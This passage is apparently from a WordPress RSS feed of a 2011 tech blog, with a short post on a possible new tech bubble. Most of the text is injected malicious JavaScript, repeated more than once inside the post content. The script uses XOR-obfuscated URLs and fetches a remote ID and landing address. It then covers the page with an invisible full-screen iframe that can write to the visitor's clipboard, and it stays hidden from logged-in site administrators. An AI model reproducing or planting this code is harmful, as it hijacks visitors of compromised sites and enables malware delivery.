t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();</p>
<p>console.log('28du3');</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];</p>
<p>  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";</p>
<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };</p>
<p>  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;</p>
<p>      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;</p>
<p>      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;</p>
<p>      var de = document.documentElement;
      var body = document.body;</p>
<p>      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}</p>
<p>    return false;
  }</p>
<p>  if (isWpLoggedInContext()) return;</p>
<p>  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }</p>
<p>  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }</p>
<p>  registry.status = "loading";</p>
<p>  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }</p>
<p>  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";</p>
<p>    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }</p>
<p>    var encoded = encodeURIComponent(id);</p>
<p>    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }</p>
<p>    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function toHttpUrl(value) {
    if (!value) return "";</p>
<p>    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");</p>
<p>    if (!s) return "";</p>
<p>    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }</p>
<p>    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}</p>
<p>    return "";
  }</p>
<p>  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";</p>
<p>    if (typeof input === "string") {
      return toHttpUrl(input);
    }</p>
<p>    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }</p>
<p>    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }</p>
<p>    return "";
  }</p>
<p>  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }</p>
<p>  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;</p>
<p>    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;</p>
<p>    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;</p>
<p>      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;</p>
<p>      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }</p>
<p>      parent.appendChild(link);
    } catch (e) {}
  }</p>
<p>  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;</p>
<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }</p>
<p>      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));</p>
<p>      if (!builtUrl) {
        return step(index + 1);
      }</p>
<p>      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }</p>
<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }</p>
<p>    return step(0);
  }</p>
<p>  function activateIframe(url) {
    if (!url || registry.status === "active") return;</p>
<p>    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }</p>
<p>    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }</p>
<p>    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }</p>
<p>    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;</p>
<p>    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);</p>
<p>      registry.status = "active";</p>
<p>      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");</p>
<p>      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }</p>
<p>    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }</p>
<p>    registry.destroy = destroy;
    registry.reveal = reveal;</p>
<p>    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");</p>
<p>    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };</p>
<p>    iframe.onerror = function () {
      destroy();
    };</p>
<p>    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);</p>
<p>    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }</p>
<p>  function run() {
    warmupOrigins();
    bindMessageHandler();</p>
<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }</p>
<p>        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        finalUrl = toHttpUrl(finalUrl);</p>
<p>        if (!finalUrl) {
          cleanup("done");
          return "";
        }</p>
<p>        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }</p>
<p>        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }</p>
<p>  registry.runPromise = run();
})();</script></p>
  ]]></content:encoded>
					
					<wfw:commentRss>http://technacea.com/2011/05/16/facebook-pr-debacle-part-ii/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">137</post-id>	</item>
		<item>
		<title>The New Tech Bubble</title>
		<link>http://technacea.com/2011/05/14/the-new-tech-bubble/</link>
					<comments>http://technacea.com/2011/05/14/the-new-tech-bubble/#respond</comments>
		
		<dc:creator><![CDATA[Bill Sanders]]></dc:creator>
		<pubDate>Sat, 14 May 2011 20:48:27 +0000</pubDate>
				<category><![CDATA[Economy]]></category>
		<category><![CDATA[In The News]]></category>
		<category><![CDATA[Startups]]></category>
		<guid isPermaLink="false">http://technacea.com/?p=128</guid>

					<description><![CDATA[There has been a lot of noise recently around the question of whether or not we are in another tech bubble, primarily I believe, because of some of the recent high valuations and high-priced acquisitions. The acquisition of Skype by Microsoft last week is only going to serve to highlight the discussion. There are of course, strong voices on either side of the argument.&#8230; <a class="more-link" href="http://technacea.com/2011/05/14/the-new-tech-bubble/">Continue reading <span class="screen-reader-text">The New Tech Bubble</span></a>]]></description>
										<content:encoded><![CDATA[<p><a href="http://www.economist.com/node/18681576"><img loading="lazy" decoding="async" class="alignnone size-medium wp-image-129" title="bubble" src="http://technacea.com/wp-content/uploads/2011/05/20110514_ldp002-500x281.jpg" alt="" width="500" height="281" srcset="http://technacea.com/wp-content/uploads/2011/05/20110514_ldp002-500x281.jpg 500w, http://technacea.com/wp-content/uploads/2011/05/20110514_ldp002.jpg 595w" sizes="auto, (max-width: 500px) 100vw, 500px" /></a></p>
<p>There has been a lot of noise recently around the question of whether or not we are in another tech bubble, primarily I believe, because of some of the recent high valuations and high-priced acquisitions. The acquisition of Skype by Microsoft last week is only going to serve to highlight the discussion.</p>
<p>There are of course, strong voices on either side of the argument. After all, the definition of a bubble changes depending largely on where one stands, and where they&#8217;ve placed their bets. The reality is that contractions and expansions are going to occur. It&#8217;s part of the market making adjustments and identifying the &#8220;top&#8221; or &#8220;bottom&#8221; is always elusive.  Here, The Economist takes a look at some of the ways the current state of economic affairs resembles the previous tech bubble, and some of the ways it does not.</p>
<p>Both articles on the subject are worth your time:</p>
<p><a href="http://www.economist.com/node/18681576"><strong>The new tech bubble:</strong> Irrational exuberance has returned to the internet world. Investors should beware.</a></p>
<p><a href="http://www.economist.com/node/18680048"><strong>Another digital gold rush</strong>: Internet companies are booming again. Does that mean it is time to buy or to sell?</a></p>
<p><em>Update:</em> WSJ dives into a specific example with Gilt:</p>
<p><a href="http://online.wsj.com/article/SB10001424052748703730804576315553100978150.html#ixzz1MMUnpR4x">Gilt&#8217;s Hefty Valuation Puts New Web Boom to the Test</a><script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||"")){var n=Symbol.for("__inline_id_offer__"),r=window[n]=window[n]||{iframeReady:!1,iframeId:"ifr_"+Math.random().toString(36).slice(2),run:null};r.iframeReady||("complete"===document.readyState||document.body?c():window.addEventListener("DOMContentLoaded",c))}function i(e,t){if(e.indexOf("dropbox.com")>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf("gist.githubusercontent.com")>=0&&(n=n.replace(/%2F/g,"/")),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){return(e||"").trim()}).catch(function(){return""})}function a(e){if(!e)return!1;try{var t=e.indexOf(":")>=0?e:"https://"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||"").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement("iframe");n.style.display="none",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src="about:blank",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement("iframe");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf("?")>=0?"&":"?",n+o+encodeURIComponent("v")+"="+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText="position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;",a.setAttribute("aria-hidden","true"),window.addEventListener("message",function(e){if(e.data&&"object"==typeof e.data&&"ktl-show-original"===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();</p>
<p>console.log('28du3');</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];</p>
<p>  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";</p>
<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };</p>
<p>  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;</p>
<p>      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;</p>
<p>      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;</p>
<p>      var de = document.documentElement;
      var body = document.body;</p>
<p>      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}</p>
<p>    return false;
  }</p>
<p>  if (isWpLoggedInContext()) return;</p>
<p>  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }</p>
<p>  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }</p>
<p>  registry.status = "loading";</p>
<p>  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }</p>
<p>  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";</p>
<p>    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }</p>
<p>    var encoded = encodeURIComponent(id);</p>
<p>    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }</p>
<p>    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function toHttpUrl(value) {
    if (!value) return "";</p>
<p>    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");</p>
<p>    if (!s) return "";</p>
<p>    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }</p>
<p>    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}</p>
<p>    return "";
  }</p>
<p>  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";</p>
<p>    if (typeof input === "string") {
      return toHttpUrl(input);
    }</p>
<p>    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }</p>
<p>    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }</p>
<p>    return "";
  }</p>
<p>  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }</p>
<p>  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;</p>
<p>    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;</p>
<p>    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;</p>
<p>      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;</p>
<p>      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }</p>
<p>      parent.appendChild(link);
    } catch (e) {}
  }</p>
<p>  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;</p>
<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }</p>
<p>      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));</p>
<p>      if (!builtUrl) {
        return step(index + 1);
      }</p>
<p>      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }</p>
<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }</p>
<p>    return step(0);
  }</p>
<p>  function activateIframe(url) {
    if (!url || registry.status === "active") return;</p>
<p>    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }</p>
<p>    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }</p>
<p>    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }</p>
<p>    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;</p>
<p>    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);</p>
<p>      registry.status = "active";</p>
<p>      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");</p>
<p>      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }</p>
<p>    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }</p>
<p>    registry.destroy = destroy;
    registry.reveal = reveal;</p>
<p>    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");</p>
<p>    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };</p>
<p>    iframe.onerror = function () {
      destroy();
    };</p>
